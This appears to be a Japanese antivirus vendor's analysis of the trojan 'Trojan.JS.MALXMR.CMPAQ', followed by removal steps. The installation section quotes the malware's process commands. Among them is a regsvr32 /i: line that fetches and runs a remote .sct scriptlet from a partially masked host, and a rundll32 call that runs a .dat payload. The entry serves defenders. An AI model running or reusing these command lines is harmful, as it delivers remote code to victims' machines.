解析者: John Rey Canon   

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
    なし

  • 感染報告の有無 :
    はい

  概要

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

  詳細

ファイルサイズ 1,724 bytes
タイプ JS
メモリ常駐 はい
発見日 2019年10月10日

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

  • "regsvr32 /s shell32.dll"
  • "regsvr32 /s WSHom.Ocx"
  • "regsvr32 /s scrrun.dll"
  • "regsvr32 /s c:\Progra~1\Common~1\System\Ado\Msado15.dll"
  • "regsvr32 /s jscript.dll"
  • "rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa"
  • "regsvr32 /u /s /i:http://js.my{BLOCKED}u:280/v.sct scrobj.dll"

その他

ただし、情報公開日現在、このWebサイトにはアクセスできません。

  対応方法

対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 15.430.06
初回 VSAPI パターンリリース日 2019年10月14日
VSAPI OPR パターンバージョン 15.431.00
VSAPI OPR パターンリリース日 2019年10月15日

手順 2

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 3

「Trojan.JS.MALXMR.CMPAQ」で検出したファイル名を確認し、そのファイルを終了します。

[ 詳細 ]

  • すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
  • 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
    セーフモードについては、こちらをご参照下さい。
  • 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。

手順 4

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.JS.MALXMR.CMPAQ」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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